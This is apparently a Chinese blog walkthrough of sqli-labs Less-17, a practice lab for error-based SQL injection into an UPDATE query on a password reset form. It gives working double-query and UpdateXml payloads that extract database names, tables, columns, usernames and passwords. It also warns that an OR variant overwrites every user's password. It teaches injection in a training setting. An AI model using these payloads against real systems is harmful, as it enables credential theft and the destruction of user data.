这是一个重置密码界面,查看源码可以看到username作了防注入处理

逻辑是先通过用户名查出数据,在进行密码的update操作

所以要先知道用户名,实际情况中可以注册用户然后实行攻击,这里先用admin演示

这和前几个less都不一样,并不能 通过union select进行查询其他数据,但是由于update语句的出错信息没有被屏蔽,所以可以基于错误进行注入。

收集了一下,有两个方法可以实行注入取出数据,构造类似双注入的查询报错和使用updatexml函数进行报错

双注入构造下面的SQL语句执行,爆出当前用户root@localhost

UPDATE users SET password='' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,user(),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#' WHERE username='admin';

对应的payload

uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,user(),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

当前数据库中的表名

payload

uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

选定users表获取列名

uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

取数据

username

uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(SELECT username FROM users LIMIT 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

password

uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(SELECT password FROM users LIMIT 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#

第一个用户Dumb Dumb

另一个方法是使用UpdateXml函数

构造如下SQL语句

同样的通过报错的方式拿到信息

UPDATE users SET password='' AND UpdateXml(1,concat(0x7e,database(),0x7e),1)

获取当前数据库

uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,database(),0x7e),1)#

获取表名

uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#

uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),0x7e),1)#

得到数据库security目标表users目标表字段id,username,password

但是这里并不能通过单纯的查询来完成,比如

uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)#

意图构造

UPDATE users SET password='' AND UpdateXml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)#'WHERE username='admin';

这个语句在MySQL中是会报错的(你不可以在同一语句中对一张表进行select再update)

解决的办法是构造出一张中间表,a是别称

UPDATE users SET password='' AND UpdateXml(1,concat(0x7e,(select username from (select username from users limit 0,1) a),0x7e),1)#'WHERE username='admin';

payload

uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select username from (select username from users limit 1,1) a),0x7e),1)#

密码

uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select password from (select password from users limit 1,1) a),0x7e),1)#

有一点需要注意,使用UpdateXml函数时,如果构造这样的语句会报一个类型错误

UPDATE users SET password='a' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(SELECT password FROM users LIMIT 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#' WHERE username='admin'

password='a'

password='123'时注入回显正常

这个和单字符没有关系,因为password='abc'时一样的报错

既然这个报错在UpdateXml函数之前,那么推测是And运算报的错误,做一个测试

sleep函数执行了,说明and运算执行了,那么'123'转换成布尔必定是1,因为如果转换是0的话and运算就不会执行

而'abc'转换bool必定是0,and运算没有执行,延时没有出现

为什么要执着于此,如果使用了OR构造下面这种payload,UpdateXml函数没有得到执行,语句没有报错,正常执行的结果会替换掉所有的用户密码

uname=admin&passwd=123' OR UpdateXml(1,concat(0x7e,(select password from (select password from users limit 1,1) a),0x7e),1)#

用'abc'时就会执行OR出现报错

uname=admin&passwd=abc' OR UpdateXml(1,concat(0x7e,(select password from (select password from users limit 1,1) a),0x7e),1)#

所以对Update语句进行注入一定要谨慎

【sqli-labs】 less17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)的更多相关文章

  1. 【sqli-labs】 less4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

    提交id参数 加' http://localhost/sqli/Less-4/?id=1' 页面正常,添加" http://localhost/sqli/Less-4/?id=1" ...

  2. 【sqli-labs】 less3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

    实质上和less1没有多大区别,看懂了一样走流程 提交参数 加单引号 http://localhost/sqli/Less-3/?id=1' 观察报错,看near 和 at 的引号之间内容 '1'') ...

  3. 【sqli-labs】 less2 GET - Error based - Intiger based (基于错误的GET整型注入)

    与less1相同,直接走流程 提交参数,直接order by http://localhost/sqli/Less-2/?id=1 order by 1%23 http://localhost/sql ...

  4. 【sqli-labs】 less49 GET -Error based -String -Blind -Order By Clause(GET型基于盲注的字符型Order By从句注入)

    都是order by的注入,作者连图片都懒得改了... 注意和整型的区别,前引号用提交的引号闭合,后引号用#注释 http://192.168.136.128/sqli-labs-master/Les ...

  5. 【sqli-labs】 less47 GET -Error based -String -Order By Clause(GET型基于错误的字符型Order By从句注入)

    http://192.168.136.128/sqli-labs-master/Less-47/?sort=1 改变sort的值,结果仍然是order by 1的结果 http://192.168.1 ...

  6. 【sqli-labs】 less45 POST -Error based -String -Stacked Blind(POST型基于盲注的堆叠字符型注入)

    和Less44一个名字 测试一下,发现是')闭合的 login_user=&login_password=1') or sleep(0.1)# 那就是没有错误显示的less42 login_u ...

  7. 【sqli-labs】 less44 POST -Error based -String -Stacked Blind(POST型基于盲注的堆叠字符型注入)

    盲注漏洞,登陆失败和注入失败显示的同一个页面 可以用sleep函数通过延时判断是否闭合引号成功 这个方法有一点不好的地方在于,并不能去控制延时,延时的时间取决于users表中的数据数量和sleep函数 ...

  8. 【sqli-labs】 less43 POST -Error based -String -Stacked with tiwst(POST型基于错误的堆叠变形字符型注入)

    和less42一样 login_user=&login_password=1');insert into users(id,username,password) value(15,'root' ...

  9. 【sqli-labs】 less42 POST -Error based -String -Stacked(POST型基于错误的堆叠查询字符型注入)

    Forgot your password? New User click here? 看源码,可以发现和less 24不同的一点在于password字段没有进行转义处理 那就对password字段进行 ...

随机推荐

  1. 【Codeforces Global Round 1 C】Meaningless Operations

    [链接] 我是链接,点我呀:) [题意] 给你一个a 让你从1..a-1的范围中选择一个b 使得gcd(a^b,a&b)的值最大 [题解] 显然如果a的二进制中有0的话. 那么我们就让选择的b ...

  2. AIM Tech Round (Div. 2)——ABCD

    http://codeforces.com/contest/624 A.python是用来写div2的AB题的... a, b, x, y = map(float, raw_input().split ...

  3. JavaSE 学习笔记之StringBuilder(十六)

    < java.lang >-- StringBuilder字符串缓冲区:★★★☆ JDK1.5出现StringBuiler:构造一个其中不带字符的字符串生成器,初始容量为 16 个字符.该 ...

  4. [cogs461] [网络流24题#10] 餐巾 [网络流,最小费用最大流]

    建图:从源点向第一层连边,第一层表示当天用掉多少餐巾,第二层表示当天需要多少餐巾,所以注意购买餐巾的边容量为无穷大,要从源点开始连向第二层的点,每天可能有剩余,在第一层内表示为流入第二天的节点.具体见 ...

  5. 文件上传-jquery.uploadify.js

    <script type="text/javascript" src="../jquery_uploadify/jquery.uploadify-3.1.min.j ...

  6. hive 报错/tmp/hive on HDFS should be writable. Current permissions are: rwx--x--x

    启动hive时报例如以下错误:/tmp/hive on HDFS should be writable. Current permissions are: rwx--x--x 这是/tmp/hive文 ...

  7. AspNet MVC4 教学-27:Asp.Net MVC4 自己定义helper及function的高速Demo

    A.创建Basic类型项目. B.创建App_Code目录,在里面创建2个cshtml文件: MyHelper.cshtml: @helper MyTruncate(string input, int ...

  8. jenkins配置邮箱遇到的问题

    错误一:发送测试邮件测试配置没有填写接收者的邮箱 原因:没有写接收者的邮箱 2.写了接受者的邮箱 密码错误 解决办法:qq邮箱>设置>账户,发送短信后点我已发送,就会接收到密码 3.发送时 ...

  9. 【ODPS】阿里云ODPS中带分区的表操作

    1.创建分区表: 分区表有自己的分区列,而分区表则没有. public static void createTableWithPartition(Odps odps, String createTab ...

  10. JQuery实现复制到剪贴板功能

    在网页中实现复制到剪贴板功能,有两种方法, 第1种方法:使用JavaScript自带的方法,但是这种方法只能在IE下使用. document.execCommand("Copy") ...